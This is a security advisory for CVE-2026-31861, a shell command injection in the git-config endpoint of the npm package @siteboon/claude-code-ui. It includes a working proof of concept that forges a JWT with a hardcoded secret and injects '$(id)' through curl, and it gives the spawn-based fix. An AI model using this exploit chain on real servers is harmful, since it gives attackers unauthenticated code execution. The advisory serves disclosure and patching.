CVE-2026-31861: @siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes
Shell Command Injection in User Git Config Endpoint Field Value -------------- Severity High CVSS 3.1 8.8 (High) — when chained with VULN-01 CWE CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Attack Vector Network Authentication JWT required (bypassable via VULN-01) Affected Files server/routes/user.js (lines 58-59) Description The /api/user/git-config endpoint…
Published Mar 10, 2026 · Updated Mar 11, 2026
Affected packages
@siteboon/claude-code-ui
- Ecosystem
- npm
- Affected
- <= 1.23.0
- Fixed in
- 1.24.0
- Check
npm ls @siteboon/claude-code-ui
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Shell Command Injection in User Git Config Endpoint
| Field | Value |
| **Severity** | High |
| **CVSS 3.1** | 8.8 (High) — when chained with VULN-01 |
| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
| **Attack Vector** | Network |
| **Authentication** | JWT required (bypassable via VULN-01) |
| **Affected Files** | `server/routes/user.js` (lines 58-59) |Description
The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (` `), $() command substitution, and \` sequences are all interpreted within double-quoted strings in bash.
This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.
Root Cause
server/routes/user.js lines 58-59:
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:
- `
malicious_command` — backtick execution $(malicious_command)— subshell execution
Impact
- Remote Code Execution (RCE) — arbitrary OS commands execute as the Node.js process user
- The
git config --globalvector modifies the server-wide git configuration, affecting all git operations - When chained with VULN-01 (hardcoded JWT), this is fully unauthenticated RCE
- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data
Proof of Concept
# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")
# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"gitName":"$(id)","gitEmail":"[email protected]"}'The server executes:
git config --global user.name "$(id)"Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.
Remediation
Replace exec() with spawn() (array arguments, no shell):
// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);Credited to Akokonunes, neo-ai-engineer, toufik-airane.
References
- https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2
- https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04
- https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-31861
- https://github.com/advisories/GHSA-7fv4-fmmc-86g2
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
